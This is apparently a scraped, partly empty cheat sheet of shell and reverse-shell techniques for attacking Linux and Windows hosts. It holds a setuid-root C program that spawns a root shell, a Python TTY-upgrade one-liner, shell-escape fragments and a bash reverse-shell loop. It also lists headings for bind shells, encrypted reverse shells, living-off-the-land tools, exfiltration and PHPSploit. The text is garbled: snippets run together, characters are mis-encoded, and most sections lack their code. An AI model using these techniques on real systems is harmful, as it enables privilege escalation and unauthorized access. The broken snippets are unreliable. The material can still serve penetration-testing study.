๐Shells and Reverse Shells Cheat Sheet
SUID C Shells
bin/bash:
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}bin/sh:
int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
}TTY Shell:
python -c 'import pty; pty.spawn("/bin/bash")'echo os.system('/bin/bash')/bin/sh โiexecute('/bin/sh')
LUA:
Privilege Escalation via nmap
Privilege escalation via vi
Fully Interactive TTY:
Spawn Ruby Shell:
Netcat:
Socket (Encrypted Shell):
Bind Shell:
Reverse Shell:
Encrypted Bind Shell:
Encrypted Reverse Shell:
Telnet Reverse Shell:
PHP:
(Assumes TCP uses file descriptor 3. If it doesnโt work, try 4,5, or 6)
Bash:
# or: while read line 0<&5; do $line 2>&5 >&5; done
Perl:
Windows
Windows
Stealthy Shells
#1
In the Attacker Machine
In the Victim Machine
Living Off the Land
Windows Tools
PowerShell
cmd.exe
cscript.exe
psexec.exe
wmic.exe
findstr -> for searching the file base
bitsadmin -> load content
regedit -> store information
Linux Tools
netcat, scp, curl, and wget for file transfers
grep and find for searching the file base
awk, gawk, gdb, and other tools
PowerHub
In the Attacker Machine
In the Victim Machine
Recon Local Groups
Exfiltration In the Attacker Machine
PHPSploit
Start PHPSploit
Reverse Shell using Nishang (Windows Victim Host)
Last updated
Was this helpful?